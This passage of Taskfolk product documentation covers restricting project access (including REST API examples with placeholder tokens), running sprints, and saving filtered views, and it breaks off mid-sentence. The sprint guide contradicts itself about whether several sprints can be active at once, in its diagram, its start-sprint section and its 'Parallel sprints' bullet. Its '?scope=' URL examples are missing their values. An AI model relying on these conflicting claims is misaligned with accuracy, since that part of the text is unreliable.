the same strip, and it is a different kind of tool. Reports has a period selector (7d, 30d, 90d), filters, and a fuller chart set (throughput, cumulative flow, burnup, breakdowns) that you can configure and slice. Summary has none of that. No period selector, no filters, no configuration. It is a fixed at-a-glance overview, and that fixedness is the point. You do not tune it, you read it. ```mermaid flowchart LR Q[Your question] --> G{Need a time period or filters?} G -- no --> S[Summary tab: fixed live snapshot] G -- yes --> R[Reports tab: 7d 30d 90d plus filters] ``` When your question is "show me throughput over the last 90 days filtered to bugs," that is a Reports question. The full walkthrough lives in the [project reports and insights guide](/docs/project-reports-and-insights). Summary is also read-only. Every control is a link, to the board, the list, or an issue. You cannot edit an issue, drag a card, or change a status from this page. If you came here to update something, you are one click away, but not on this screen. A few cards are conditional, and their absence is not a bug. Time only shows with tracked time. Current sprint and Sprint velocity only show when the project uses sprints. Sprint burndown needs a real sprint with a couple of days of data. If WEB never runs sprints, three of these cards simply never appear, and the page is complete without them. The common mistakes, worth naming once more: - Do not conflate the weekly Velocity card with the per-sprint Sprint velocity card. They count different windows. - Do not expect to edit from here. Every control is a link out. - Do not expect story points in the weekly Velocity card. It counts issues, full stop. The sprint burndown and Sprint velocity card do follow the project's estimation unit, so those can read in points. - A "missing" issue is almost always an archived one. Archived and deleted issues are excluded everywhere on this page. For deeper timeline analysis and dependency views, the [Gantt chart guide](/docs/gantt-chart-with-dependencies) picks up where Summary leaves off. Open your own project's Summary tab now and read it top to bottom once, slowly. The next time someone asks "how's it going," you will answer in five seconds and mean it. --- # How to restrict project access URL: https://taskfolk.ai/docs/how-to-restrict-project-access Published: 2026-07-15 Updated: 2026-07-28 Author: The Taskfolk team Tags: roles and permissions, how-to, Taskfolk Restrict project access to specific members in Taskfolk: flip the scoped toggle, add the right people, and understand what the project role does not do. You built the project in the open. Then you notice that three of its issues name a client you have not announced yet, and the whole workspace can read them. Anyone on your team can open that project, see the ticket titles, read the comments, and work out exactly who you are about to sign. That is the kind of thing you want to fix in thirty seconds, not after a security review. Taskfolk lets you restrict project access to specific members. You flip one switch on the project, add the handful of people who should see it, and the project disappears for everyone else. This walks through how to do that, who can still reach a restricted project after you lock it, and what the feature deliberately does not do, so you never lean on it for the wrong thing. One note on the default first. Out of the box, every non-guest member of your workspace can see every project. That is on purpose. In our demo workspace the project WEB is open to the whole team, so anyone can open its board, read the "Timeline + Summary tab" ticket, and page through the backlog. Scoping is how you switch that off for one project without touching anything else. ## When you actually need to restrict who can see a project Most projects should stay open. That openness is the whole reason a shared workspace works: people wander into a project, notice something they can help with, and pitch in. So treat restriction as the exception, not a habit. Here are the times it earns its place. - **An unannounced client.** You are three weeks from launch and the tickets are thick with the client's name, their revenue figures, screenshots of a site that is not live yet. You cannot un-name them in forty issues, so you hide the project instead. Agencies live in this mode; [project management for small agencies](/blog/project-management-for-small-agencies) shows a full client-safe setup built on scoped projects. - **A sensitive internal effort.** An HR investigation, restructuring, an acquisition, anything with legal weight. The people running it need a real project with a board, comments, and history. Nobody else should even know it is there. - **A quiet bet you are not ready to defend.** The half-formed idea that dies the moment it collects hallway opinions. Keep it in a corner until it can stand up on its own. - **Contractors and narrow collaborators.** A freelancer who should see the single project they were hired for and nothing else about how your company runs. In each of these you are doing the same one thing: turning a project from "visible to the whole workspace" into "visible to a named list." That is what scoping means here. It is a visibility gate, not encryption. The data is not encrypted and the project is not in a vault. It simply stops appearing for people who are not on the list, and they hit a dead end if they go looking. Hold that model and the rest of this makes sense. ## How to restrict project access to specific members Here is the core move. Open the project you want to lock down (WEB, in our examples), go to its Settings, and open the **Access** tab. It sits alongside General, Board statuses, Integrations, and the Danger zone. ![The WEB project's Settings > Access tab in its default open state, showing the Scoped project access card with the Restrict access to explicit members toggle switched off. This is where you start to lock a project down.](/images/blog/how-to-restrict-project-access-access-tab-off.webp) You will see a card headed "Scoped project access." The subtitle states the rule you are about to switch on: "Scoped projects are visible only to workspace owners and admins plus the people listed here. Grant or revoke access per project." Under it is the toggle: **Restrict access to explicit members**. It starts off, because the project starts open. Flip it on. Two things happen: 1. A toast reads "Project access is now restricted." That confirmation matters, because the on-screen change is quiet and you want to know the write landed. Under the hood this sets `scoped = 1` on the project through the `setScopedMode` action. 2. The project drops out of sight for everyone who is not an owner, an admin, or an explicit member. It leaves their sidebar project nav. It is gone from the `/w/taskfolk/projects` list. It stops showing in workspace views, in insights, and in the mindmap. For those people the project no longer exists. The second one is the part people underrate. One thing to know before you reach for that switch: only workspace owners and admins even see the Access tab. It is gated behind the `project.edit_settings` permission. A regular member or a viewer who opens project settings finds no Access tab at all and cannot restrict anything. So if you read a guide that says "anyone can make a project private," it is wrong for Taskfolk. This is an owner and admin action by design. For the full map of who holds which permission, the [roles and permissions guide](/docs/how-to-manage-roles-and-permissions) has it. ## What happens the moment you flip the switch Now the part that catches people, and the reason this post exists. Turning scoping on adds nobody to the project. Not the project lead. Not the engineers who have lived in it for months. Not even you, the person who just flipped the switch. The member list starts empty. You keep access only because you are an owner or admin, and owners and admins always have access regardless of that list. That short-circuit is the single reason you did not just lock yourself out of your own project. If a plain member could somehow flip this switch (they cannot, but follow the logic), they would lose access to the project they were standing in the instant they did. So right after you turn scoping on, the member area shows this: "No explicit members yet. Owners and admins always have access." That empty state is real and reachable, and it is exactly what you will be looking at if you stop here. A scoped project with nobody added is an owner-and-admin-only project. Everyone else, including the people carrying the work, now sees a workspace where that project quietly vanished. The practical rule: do not flip the switch and walk away. Flip it, then add your people immediately. Treat the toggle and the first grants as one motion. If you get pulled away between them, nothing breaks, the project is just invisible to your team until you come back and finish. ## Adding the people who should have access With scoping on, the Access tab grows a grant row. This is where you build the list. There are three controls: - A searchable picker labeled "Select a teammate…": click it, type a name or email, and it narrows the workspace roster to the person you want. - A "Project role" dropdown offering Admin, Member, or Viewer. - An "Add member" button. Pick a teammate, pick a role, click Add member. You get "Project member added." and the count at the top ticks up: "1 with access," then "2 with access," and so on. That count is your quick read on how exposed the project is. Concrete version, using WEB. Say two engineers should keep working the "Timeline + Summary tab" ticket while the rest of the workspace stays out. Open the picker, find the first engineer, leave the role on Member, click Add member. Count reads "1 with access." Do it again for the second. Count reads "2 with access." Done. Those two can now open WEB, see the board, and read and comment on the ticket. Everyone else in the workspace no longer sees WEB anywhere. One constraint to name up front: you can only add people who are already in the workspace. The picker is a roster, not an invite form. If the person you need is not in the workspace yet, invite them first, then come back and add them to the project. The [guide to inviting team members](/docs/how-to-invite-team-members) covers that half. ![The workspace People page showing the member roster. Only people who already appear here can be granted access to a scoped project; the picker is a roster, not an invite form.](/images/blog/how-to-invite-team-members-people-overview.webp) ## What the project role does (and the trap it sets) This is the single most important thing to understand about the feature, and it is the thing almost everyone gets wrong. The role you pick when adding someone, Admin or Member or Viewer, is stored and displayed. That is all it does. It shows on their row so you can see at a glance how you filed them. It does not control what they can do inside the project. Let me be blunt about the trap, because it is easy to fall into. Adding someone as "Viewer" does not make the project read-only for them. It does not stop them editing issues, dragging cards, or leaving comments. The access check, `requireProjectAccess`, asks exactly one question: does a membership row exist for this person on this project? Yes or no. It never reads the role on that row. If the row is there, they are in. What they can actually do once they are in comes entirely from their workspace role, not this project role. So a person who is a workspace Member, added to your scoped project as a project "Viewer," still edits and comments like a Member, because their workspace role is Member. The "Viewer" label on their row changed nothing about their power. It is a note to yourself, not a permission. ![The workspace members list with each person's workspace role. This role, not the project role dropdown, is what decides whether someone can edit or only view.](/images/blog/how-to-manage-roles-and-permissions-people-list.webp) If you need someone to genuinely have read-only access, that is a workspace-role decision, not a project-role one. Set their workspace role accordingly. Do not reach for the project-role dropdown expecting it to lock anything, because it will not. The [roles and permissions guide](/docs/how-to-manage-roles-and-permissions) again is where you get workspace roles right. Why does the dropdown exist then? To record intent, and so the model has somewhere to grow. But today it is a label. Do not build a permission scheme on it. ## Changing a role or removing someone Two edits you will make over the life of a scoped project. Changing someone's stored role is easy, and slightly non-obvious. You do not edit their row in place. You add them again with the new role. Re-adding a person who is already on the list is an upsert: it updates their existing row instead of creating a duplicate. So to move someone from Member to Admin on the list, pick them in the picker again, choose Admin, click Add member. Their one row updates. No duplicate, no cleanup. (And per the section above, this only changes the stored label, not their real power.) Removing someone is the "×" on their row. Click it and a confirm dialog appears: "Remove {email} from WEB?" Confirm, and the membership row is deleted. You get "{email} removed from WEB." and the count drops by one. From that instant WEB disappears for that person the same way it does for anyone else off the list. One reassurance, because people hesitate here. Removing someone deletes none of their work. Their comments stay. The issues they opened stay, assigned as they were. Their notification history stays. You are not erasing a contributor, you are changing who can reach the project from here on. Add them back tomorrow and everything they did is exactly where they left it. Removal is a visibility change and nothing more. ## Who can still reach a scoped project Let me state the access rule once, plainly, because half the confusion around this feature is people guessing at it. A scoped project is reachable by exactly two groups. Workspace owners and admins, always, with no membership row required, because the gate short-circuits them. And anyone holding an explicit membership row on that project. That is the complete list. There is no third path. ```mermaid flowchart TD A[Someone opens a scoped project] --> B{Owner or admin} B -->|Yes| C[Access granted] B -->|No| D{Membership row on this project} D -->|Yes| C D -->|No| E[404 Not found] ``` There is no separate private/public toggle beyond the scope switch. There is no share link. There is no invite-link flow that hands a stranger temporary access. If you are not an owner, not an admin, and not on the list, you do not get in, and there is no URL anyone can pass you to slip around that. Which leads to a detail worth calling out. If someone who is not a member navigates straight to a scoped project's URL, they get a 404, not a permission-denied page. That is deliberate. A "you can't have this" response would confirm the project is real. A 404 says there is nothing here, so the person cannot even verify the project exists, let alone read its name. `requireProjectAccess` calls `notFound()` for them. Search respects the same boundary. Issues that live in a scoped project fall out of global workspace search for anyone who is not a member. If a non-member searches a term that only appears in your restricted project's tickets, they get nothing back, because search intersects results with the set of projects that person can actually see. The contents do not leak through the search box. ![Workspace search results. Search only returns issues from projects the searcher can see, so a scoped project's tickets never surface for non-members.](/images/blog/how-to-search-your-workspace-results.webp) If you want to understand how search scoping works in general, the [workspace search guide](/docs/how-to-search-your-workspace) goes deeper. ## The limits: what scoping does not do Every honest feature has edges. Here are scoping's, in one place, so you do not run into them at the wrong moment. - **It cannot hide a project from your workspace admins.** Owners and admins always get in, member list or not. Scoping is a visibility gate against ordinary members, not a wall against the people who run the workspace. If a project must be hidden from your own admins, this is the wrong tool, and honestly Taskfolk is the wrong place for that requirement. - **The picker shows the first 100 people.** If your workspace has more than 100 members, the teammate picker lists the first 100 and shows a hint saying so. It does not page through an unlimited roster. In a large workspace, search inside the picker for the specific person rather than expecting to browse everyone. - **You can only add existing members.** Try to add someone who is not in the workspace and you get "That person is not in this workspace." Scoping invites nobody. Invitation and access are two separate steps: invite them to the workspace, then grant them the project. - **Guests are stricter, and separate.** A guest does not see every project by default the way a normal member does. A guest sees only the projects they hold an explicit membership row for, on every project, scoped or not. So the guest rule is broader than scoping. Scoping is the mechanism underneath, but guest restriction applies workspace-wide, not just to the projects you chose to lock. If you work with a lot of external people, that guest behavior may already do what you want without scoping anything. - **Archived and deleted projects hide by a different mechanism.** If a project has dropped off the lists and it is not scoped, check whether it is archived or deleted. Those are filtered out separately, so do not confuse the two while you are hunting for a missing project. - **Turning scoping off gives everyone their view back.** Flip the switch off and you get "Project is now open to all workspace members." The project reappears for every non-guest member. No data is deleted, no member rows are purged, nothing about the contents changes. You are opening the gate again. Scoping is fully reversible in both directions at no cost. ## Managing scoped access over the REST API Everything above has a programmatic twin, which matters the moment you want to provision access from a script instead of clicking through settings. Scoped membership is managed through three endpoints: | Method | Path | Scope | |---|---|---| | GET | `/v1/workspaces/{slug}/projects/{key}/members` | `projects:read` | | POST | `/v1/workspaces/{slug}/projects/{key}/members` | `projects:admin` | | DELETE | `/v1/workspaces/{slug}/projects/{key}/members/{userId}` | `projects:admin` | GET lists who holds explicit access. POST adds a member with a role, and it behaves like the UI: it is idempotent, so POSTing a person who is already on the list updates their role in place rather than stacking a duplicate row (you get a `201` for a new grant, a `200` for an update). DELETE removes a member by their user id. Both write endpoints are gated by the same `project.edit_settings` permission as the UI, so an API token can only do this if its owner could do it by hand. Here is the grant call, the one your scripts will make most: ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/members" \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{"user_id": "0198c3f0-7f2a-7b1e-9c4d-2a6b8e1f0d3c", "role": "member"}' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/members", { method: "POST", headers: { Authorization: "Bearer tfk_live_a1b2...", "Content-Type": "application/json", }, body: JSON.stringify({ user_id: "0198c3f0-7f2a-7b1e-9c4d-2a6b8e1f0d3c", role: "member", }), }, ); ``` ```python import requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/members", headers={"Authorization": "Bearer tfk_live_a1b2..."}, json={"user_id": "0198c3f0-7f2a-7b1e-9c4d-2a6b8e1f0d3c", "role": "member"}, ) ``` A successful grant comes back in the standard envelope: ```json { "data": { "user_id": "0198c3f0-7f2a-7b1e-9c4d-2a6b8e1f0d3c", "email": "dev@example.com", "name": "Dev One", "role": "member", "added_at": "2026-07-15T09:30:00.000Z" } } ``` Revoking is one call with the user id in the path: ```bash curl -X DELETE \ "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/members/0198c3f0-7f2a-7b1e-9c4d-2a6b8e1f0d3c" \ -H "Authorization: Bearer tfk_live_a1b2..." ``` The obvious use is onboarding automation. A contractor signs, your provisioning script adds them to the one project they were hired for, and when the contract ends the offboarding script deletes that row. ```mermaid sequenceDiagram participant P as Provisioning script participant U as Taskfolk API P->>U: POST members with user_id and role U-->>P: 201 grant created Note over P,U: contract ends P->>U: DELETE members by user id U-->>P: 200 grant removed ``` Nobody clicks anything, and the access rules are identical to what you would get in the interface, because it is the same code path underneath. Restricting a project comes down to one switch, a short list of people, and a clear-eyed read of what the switch does and does not promise. Flip it, add your team before you walk away, remember the project role is a label and not a permission, and you have a project only the right people can see. If you would rather bring outside collaborators in through a controlled front door instead of the workspace roster, look at [setting up a request form](/docs/how-to-set-up-a-request-form) next. --- # How to run a sprint URL: https://taskfolk.ai/docs/how-to-run-a-sprint Published: 2026-07-15 Updated: 2026-07-28 Author: The Taskfolk team Tags: sprints, agile, Taskfolk, how-to Learn how to run a sprint in Taskfolk: plan from the backlog, start and complete a sprint, carry over incomplete issues, and read the burndown and velocity. You have a backlog full of tickets and no clear answer to the one question that matters on Monday morning: what are we actually shipping in the next two weeks? That is the gap a sprint fills. It takes the pile and turns it into a committed, time-boxed set of work with a name, a deadline, and a goal. Knowing how to run a sprint is mostly discipline, not tooling, but the tool still has to stay out of your way. This is the mechanics: how to plan and run a sprint in Taskfolk, from an empty Sprints table to reading the burndown after it closes. I'll use the demo project the whole way through. It's keyed **WEB**, with the board columns Backlog, To Do, In Progress, In Review, and Done. Where a real ticket makes a point land, I'll name one, like "Timeline + Summary tab." ## What a sprint is in Taskfolk (and what it isn't) A sprint in Taskfolk is a per-project, time-boxed container for issues. Each issue carries a `sprint_id`, and that link is scoped to a single project. There's no workspace-level sprint and no cross-project sprint. Run three projects and each one has its own sprints, its own active sprint, its own burndown. That's deliberate. A sprint is how one team commits to a slice of work, and a team lives inside a project. Don't confuse a sprint with a Milestone. Milestones are a separate feature for longer-horizon delivery markers. A sprint is the short, repeating cadence. Picture a named box with three optional but useful things attached: a start date, an end date, and a goal. At most one of those boxes is "active" per project at any moment. That single-active rule is the spine of the whole feature, so hold onto it. The lifecycle is small enough to fit in one picture: ```mermaid stateDiagram-v2 [*] --> Planned: New sprint Planned --> Active: Start Active --> Planned: another sprint starts Active --> Completed: Complete Completed --> [*] ``` One thing to settle before you touch anything: permissions. Creating, starting, completing, editing, and deleting a sprint all require the `project.edit_settings` permission, which in practice means owner or admin. A plain member or a guest can still assign their own issues to a sprint (that's just `issue.edit_own`), but the New sprint, Start, Complete, Edit, and Delete controls are hidden from them completely. So don't promise your team that anyone can start a sprint. They can't. That's usually the right call, since sprint boundaries are a lead's decision, but it surprises people who go looking for a button that was never rendered for them. If you want the argument for lightweight sprints before you set one up, [run sprints without the ceremony](/blog/run-sprints-without-the-ceremony) makes it. This guide is the how. ## How to create a sprint Open the project's **Sprints** tab at `/w/[ws]/p/[project]/sprints`. On the demo that's the WEB project's Sprints page. You land on a table of the project's sprints. Each row carries a name, a status pill, start and end date cells, and a small progress meter that fills as the sprint's issues reach Done. On a fresh project the table is empty and waiting. ![The Sprints table for the WEB project: each row shows a sprint name, status pill, start and end date cells, and a progress meter, with an Active badge on the running sprint and the Start, Complete, and three-dot menu actions. This is the create, start, and complete control center for the feature.](/images/blog/how-to-run-a-sprint-sprints-page.webp) Click **New sprint**. A modal opens with a handful of fields, and it's worth knowing which ones earn their keep. - **Name** is required, capped at 120 characters. The placeholder suggests "e.g. Sprint 12," and numbered sprints are genuinely fine. "Sprint 12" tells everyone where you are in the cadence without pretending to be clever. Themed names work too, but consistency beats poetry here. - **Status** is a combobox with Planned, Active, and Completed. Leave it on Planned when you're setting up ahead of time. You'll flip it to Active later with a proper Start action, which does more than change this pill, so prefer that path over setting Active by hand. - **Start date** and **End date** are date pickers, cross-validated so the start can't land after the end. Both are optional, and this is the field most people underthink. Skip the end date and you lose the days-left and overdue indicators everywhere they show up. A sprint with no end date is just a bucket. Set the dates. - **Goal** is a Markdown textarea, up to 10,000 characters, prompting "What does this sprint aim to deliver?" Write one sentence. "Ship the timeline and summary tabs to beta" focuses a standup better than a bulleted list of fifteen tickets ever will. The tickets are the how. The goal is the why. Confirm with **Add sprint** and the row appears. Later you can edit any sprint through the row's "..." menu and **Edit sprint**, which reopens the same modal (you confirm with **Save changes** that time). You can also inline-edit the status pill and the dates right in the table cells without opening the modal, which is faster for a quick date nudge. And you can reorder sprints by dragging the move handle or using the up and down chevrons; the order is stored as a LexoRank via the reorder action, so it stays put. ## How to run a sprint planning session from the backlog Here's the planning path I actually reach for, because it keeps prioritization visual. Open the **Backlog** at `/w/[ws]/p/[project]/backlog`. Your planned and active sprints render as collapsible drop-zone sections stacked above the unsorted Backlog list. Each section shows its date range, its issue count, and a Start sprint or Complete button depending on its state. ![The project backlog as a ranked list of open issues, the raw material you drag into sprint sections during planning.](/images/blog/how-to-prioritize-your-backlog-ranked-list.webp) Now you plan by dragging. Grab an issue like "Timeline + Summary tab" from the unsorted Backlog and drop it into a sprint section. That assigns it. Drag an issue from one sprint section to another to move it between sprints. Drag it back down to the Backlog to unschedule it. The sections light up as valid drop targets while you drag ("Release to add to this sprint"), so there's no guessing where a card will land. Not a fan of dragging? Every backlog row also has a sprint picker (the "Move to sprint" control), and the issue detail page has a sprint field in its right rail. Same result, different door. Take whichever keeps you moving. One precise limit to internalize: only planned and active sprints appear as drop-target sections here. Completed sprints don't. And an issue that still points at a completed sprint shows up down in the unsorted Backlog, not attached to anything you can see. That's by design, but it can read like the issue "escaped" if you're not expecting it. For the prioritization judgment that should come before all this dragging, [how to prioritize your backlog](/docs/how-to-prioritize-your-backlog) is the companion piece. And if you're wondering where AI genuinely helps with sprint planning and where it doesn't, [AI sprint planning: what works](/blog/ai-sprint-planning-what-works) is worth a read before you lean on any of it. And if coding agents carry part of your sprint, [plan their capacity as its own track](/blog/two-track-sprint-planning) instead of folding it into the team's number. ## How to add issues from the Sprints page instead Sometimes you already know the exact set of tickets you want, and you're not sitting in the backlog. There's a faster path. On the Sprints page, open a sprint row's "..." menu and choose **Add issues**. A picker opens, titled "Add issues to '{name}'." This picker searches open, unscheduled backlog issues by title or by issue number. Type "timeline" or type "142," both hit. Check as many as you want, then bulk-assign them all with the **Add {n}** button. It's the quickest way to load a sprint with a known list. Be honest with yourself about its one real constraint, because it will bite otherwise. The picker (backed by `searchAssignableIssues`) only surfaces issues where `sprint_id` is null and the status isn't done or cancelled, within the current project. In plain terms: it will never show you an issue that's already sitting on another sprint. So if a ticket you expected is missing, the usual reason is that it's already committed to a different sprint. That's not a bug. It's the tool refusing to let you double-book work. So when do you use this versus the backlog drag? Use Add issues when you have a mental list and want it loaded fast. Use the backlog when you're still deciding what makes the cut and want everything in priority order in front of you while you drag. Different moments, both valid. ## How to start a sprint A planned sprint does nothing until you start it. Two places to do that. From the **Sprints page**, click the row's **Start** button. A confirm dialog appears, titled "Start sprint?", that explains it will make the sprint active and stamp the start date. Confirm with **Start sprint**. From the **Backlog**, the sprint section header has its own **Start sprint** button (visible only with `project.edit_settings`), which calls the start action directly without the extra dialog. Either way the mechanics are identical and worth understanding. Starting flips the sprint to Active. If it had no start date yet, the start stamps to now. It does not touch any other sprint. A project can run several active sprints at once, so two squads sharing a project each keep their own running sprint. So there's no error if you start a second sprint, and the first keeps running. That silence is convenient most of the time and occasionally a trap if you meant to replace the first instead of adding to it, which is why it's on the mistakes list at the end. Notifications on start are off by default, so starting a sprint doesn't ping your team. ## Working the board during an active sprint Once a sprint is active the board changes to reflect it, and this is where the day-to-day of running a sprint actually happens. ![The board during a running sprint, with the active-sprint banner showing the date range, days overdue, issue count, and a Complete sprint button](/images/blog/how-to-run-a-sprint-active-banner.webp) At the top of the board sits the active-sprint banner: a yellow dot, the sprint name, the date range, a live indicator reading "{n}d left" or "Ends today" or "{n}d overdue" off the end date, the issue count, and a **Complete sprint** action for anyone with `project.edit_settings`. That banner is your at-a-glance truth. When it says "2d overdue," everyone standing at the board knows it without anyone having to say it out loud. The board toolbar has a scope switcher dropdown. It lets you view All issues, Backlog only, or any specific sprint (each tagged with an ACTIVE or DONE badge). The chosen scope is held in the URL as `?scope=`, so you can bookmark or share a board pre-filtered to exactly one sprint. The List view accepts a `?sprint=` param for the same trick: ```bash # Board scoped to one sprint (the scope switcher writes this) /w/acme/p/web/board?scope= # Board showing backlog-only or everything /w/acme/p/web/board?scope=backlog /w/acme/p/web/board?scope=all # List view filtered to one sprint /w/acme/p/web/list?sprint= ``` Every board card and every backlog row also carries a small cyan sprint chip showing which sprint it belongs to, so even in the "All issues" view you can tell committed work from loose work at a glance. And across every tab in the project, not just the board, the project identity bar shows an active-sprint pill: the sprint name plus its days-left, linking back to the board. So even while you're deep in the List view or an issue detail, you always know which sprint is live and how much runway is left. Here's a misconception worth correcting precisely, because it trips people up. The board defaults to the active sprint's scope only when that sprint actually holds at least one issue. An active sprint with nothing in it falls back to "All issues." So if you start an empty sprint and wonder why the board didn't switch to it, that's why. Put an issue in it and the default kicks in. If you want the broader philosophy of working a board column by column, [how to use a Kanban board](/docs/how-to-use-a-kanban-board) covers it. ## How to complete a sprint and carry over incomplete work Sprints end. The interesting question is what happens to the tickets you didn't finish, and Taskfolk makes you answer it deliberately instead of guessing on your behalf. You can complete a sprint from three places: the board banner's Complete sprint action, the backlog section header, or the Sprints page row's **Complete** button. All three open the same dialog, titled "Complete '{name}'?" The dialog does three things: - It reports how many incomplete issues will move out of the sprint. - It offers a **Move incomplete issues to** target, which is either another sprint or **Backlog (remove from sprint)**. - It gives you an optional **Notify assignees and watchers of moved issues** checkbox, off by default, which reuses the generic status-changed notification kind. There's no separate "your sprint moved" notification type, so don't go hunting for one. Now the carry-over rule, stated exactly, because this is the question everyone asks. Only *incomplete* issues move. Those are the ones whose status is backlog, todo, in_progress, in_review, or failed. Done and cancelled issues stay on the completed sprint on purpose. ```mermaid flowchart TD A[Complete sprint] --> B{Issue status} B -->|done or cancelled| C[Stays on completed sprint] B -->|anything else| D{Move incomplete issues to} D -->|another sprint| E[Carried over] D -->|backlog| F[Back to unscheduled] ``` That's the right behavior: the completed sprint is a record of what that team actually finished, and stripping the done work out of it would erase the history you want to look back on. A finished sprint keeps its trophies and hands off only the loose ends. Pick your target, confirm, and a toast tells you what happened: "{n} issue(s) carried over" if you moved them to another sprint, or "returned to the backlog" if you dropped them to unscheduled. That's the honest answer to "what happens to my unfinished tickets": nothing lost, nothing deleted, and you chose where it went. ![The Complete sprint dialog: incomplete issues move to a chosen target (here the backlog) while done issues stay put](/images/blog/how-to-run-a-sprint-complete-dialog.webp) ## Reading the burndown, current-sprint card, and velocity The reporting payoff doesn't live on the Sprints page, and there's no dedicated sprint-detail page. It lives on the project **Summary** page at `/w/[ws]/p/[project]/summary`. Three things there tell you how the sprint is really going. ![The project Summary page with its overview cards and charts, home of the current-sprint card, the velocity chart, and the burndown.](/images/blog/how-to-read-the-project-summary-overview.webp) The **Current sprint** card shows Committed, Done, and Complete %. Committed is how many issues are in the sprint, Done is how many crossed the line, and the percentage is the ratio. Read it as a commitment tracker, not a productivity score. The **Sprint velocity** bar chart shows done issues per completed sprint across your last six sprints. This is the number that tells you what your team can realistically take on next time. If your last four sprints delivered 14, 16, 12, and 15 issues, committing to 30 next round is fiction, and the chart says so without you having to argue it. The **Sprint burndown** is a hand-drawn SVG (no chart library) that plots the ideal line against remaining work, replaying the sprint's status-change history day by day. Ideal is the straight line from "everything remaining" down to zero across your dates. Remaining is the real path. When the real line sits above ideal, you're behind. When it hugs or dips below, you're on track. Be clear-eyed about what this reporting does and doesn't do: - It shows the active sprint, or if none is active, the most-recent completed sprint. It never shows a planned or future sprint, because there's no history to replay yet. - If nothing qualifies, it renders "Start a sprint to see a burndown." For a very short sprint it shows "Not enough days in this sprint to chart a burndown yet." - By default a project estimates in time, so committed and velocity read as *issue counts*. Switch the project to story points in its settings and they read in points instead. - Time-tracking fields (estimate and spent minutes) do exist on issues, but they're a separate system and they don't feed the burndown or velocity. If your team thinks in points, that's a real difference to weigh, and it's worth deciding together whether counting issues is close enough for you. For a lot of teams it honestly is. ## Common mistakes and the limits worth knowing A short field guide to the things that surprise people, pulled straight from how the feature actually behaves. - **Only owners and admins can start, complete, edit, or delete a sprint.** Members and guests can assign their own issues to a sprint but never see the control buttons. Don't tell your team "anyone can start a sprint," because they'll go looking for a button that isn't there. - **Parallel sprints, if you want them.** A project can run several active sprints at once, so squads sharing a project each keep their own. Starting a new sprint no longer pauses the old one back to Planned. No warning, no error. If you meant to run two in parallel, you can't, and the old sprint just stopped being active without saying a word. - **Dates are optional, but skipping the end date costs you.** No end date means no days-left, no "Ends today," no overdue badge, and the identity-bar pill shows no day count. If you want the deadline pressure that makes a sprint a sprint, set the end date. - **Deleting a sprint does not delete its issues.** Delete soft-deletes the sprint and nulls out `sprint_id` on every issue it held, sending them back to the backlog. The tickets are safe. Note too that the Delete option is hidden for completed sprints in the row menu, so you can't accidentally erase a finished sprint's record. - **The Add-issues picker hides issues already on another sprint.** If a ticket you want is missing, it's almost always already committed elsewhere. Unschedule it there first, or move it via the backlog drag between sections. - **Estimate in time or story points.** Set the project's estimation unit; velocity and burndown follow it. If your estimation practice depends on points, know that going in. That's the whole loop: create, plan, start, work, complete, review. Open the Sprints tab on your project and create your first sprint. --- # How to save and share views URL: https://taskfolk.ai/docs/how-to-save-and-share-views Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: views, how-to, Taskfolk Save any Taskfolk filter as a named, reusable view: how to save, share vs keep personal, apply across board and list, plus the five facets a view actually stores. You built the perfect filter. Type is Bug, priority High, assignee set to you, status In Review. It took a minute of clicking to get there, and it showed you exactly the four tickets you needed for standup. Then you closed the tab. Three hours later you needed that same slice again, and it lived nowhere except a URL you had already lost. So you rebuilt it. Then again the next morning. Then again the morning after that. Saved views project management is the fix for exactly this loop. A saved view is a named, reusable filter combination. You set it up once, give it a name like "My bugs In Review", and from then on it is one click in the Views menu instead of a rebuild from scratch. In Taskfolk it lives per project, on every work surface a project has. It is one of those small features that quietly removes a chore you do dozens of times a week without noticing. This guide covers the per-project saved views feature. There is also a separate, workspace-wide thing that filters issues across several projects at once, and I will flag it clearly at the end so you know which one you actually want. Everything below is about a single project. We will use the demo project WEB, whose board runs Backlog, To Do, In Progress, In Review, and Done. ## Why saved views matter in project management The pain is repetition of low-value work. Every standup, every triage session, every "let me just check what's assigned to me" moment, you reach for the same handful of filters. My open bugs. Everything In Review. High-priority tasks with no owner. The filter itself is not hard to build. Building it for the fortieth time is just tax. A saved view removes that tax. Under the hood it is nothing exotic: a stored set of filter facets with a name attached. But the effect on how a team works is real. When "the bugs we ship this week" is a one-click view that everyone on the project can see, standup stops being a live filtering exercise and starts being a conversation about the actual work. That is the whole point of saved views in project management. The filter stops being something you perform and becomes something the project remembers. Two things to set up front. A view can be shared with the whole project or kept personal to just you, and choosing well matters (more on that below). And Taskfolk has a completely separate cross-project feature that also happens to be called Views. Keep them apart in your head. The saved views in this article are scoped to a single project's board and lists. The cross-project one lives elsewhere and behaves differently. ## Where the Views menu lives, and the surfaces it runs on The Views menu opens from a trigger button in the filter toolbar, sitting right next to the Filter control. Look for the button labeled "Views". Click it and a popover drops down with your saved views and the controls to save a new one. ![The List toolbar with a filter applied, showing where the Views button sits next to the Filter control](/images/blog/how-to-filter-and-sort-issues-overview.webp) Here is the detail that makes it feel alive. That trigger button is not always labeled "Views". When your current filter exactly matches one of your saved views, the button shows that view's name instead and turns gold. That is the active-view state, a glanceable signal that says "you are looking at a saved slice right now, not some ad-hoc filter." The moment you change any facet and the filter no longer matches, the button reverts to plain "Views" and the gold goes away. The same Views menu runs on five surfaces: - Board - List - Backlog - Calendar - Timeline It is not five separate features that happen to look alike. It is one saved-views system, loaded per page from the same underlying store, showing you the same views everywhere. A view you create on the List is the same view you find in the menu on the Board. This matters more than it sounds, and I will come back to it when we get to switching between views. The screenshot above shows the List toolbar with a filter applied, so you can see exactly where the Views button sits relative to Filter. That is the anchor point. Find that toolbar and you have found saved views everywhere in the project. ## How to save a filter as a view The order of operations is the part people get backwards, so let me be blunt about it. You filter first, then you save. Not the other way around. The Views menu does not build a filter for you. It captures the one you already have. So the flow, start to finish: 1. Start on WEB's List (or Board, your call) and build the filter you want to keep. Say you want your own high-priority bugs that are in review: open Filter, set Type to Bug, set Priority to High, set Assignee to Assigned to me, set Status to In Review. 2. Confirm the live filtered result on screen is the slice you want. Exactly those 